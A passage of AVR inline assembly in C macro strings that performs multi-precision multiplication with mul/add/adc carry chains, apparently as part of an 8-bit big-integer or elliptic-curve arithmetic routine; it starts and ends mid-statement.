\n\t" \ + "mul r7, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r12, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r4, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r13, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r4, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r5, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r6, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r7, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r8, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r9, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r10, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r11, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "mul r3, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "st z+, r22 \n\t" \ + "st z+, r23 \n\t" \ + \ + "sbiw r30, 34 \n\t" \ + "sbiw r28, 22 \n\t" \ + "sbiw r26, 12 \n\t" \ + "ld r2, x+ \n\t" \ + "ld r12, y+ \n\t" \ + "ld r3, x+ \n\t" \ + "ld r13, y+ \n\t" \ + "ld r4, x+ \n\t" \ + "ld r14, y+ \n\t" \ + "ld r5, x+ \n\t" \ + "ld r15, y+ \n\t" \ + "ld r6, x+ \n\t" \ + "ld r16, y+ \n\t" \ + "ld r7, x+ \n\t" \ + "ld r17, y+ \n\t" \ + "ld r8, x+ \n\t" \ + "ld r18, y+ \n\t" \ + "ld r9, x+ \n\t" \ + "ld r19, y+ \n\t" \ + "ld r10, x+ \n\t" \ + "ld r20, y+ \n\t" \ + "ld r11, x+ \n\t" \ + "ld r21, y+ \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r12 \n\t" \ + "st z+, r0 \n\t" \ + "mov r22, r1 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "mul r3, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r2, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r3, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r3, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r4, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r5, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r5, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r6, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r6, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r7, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r7, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r8, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r8, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r9, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r22, 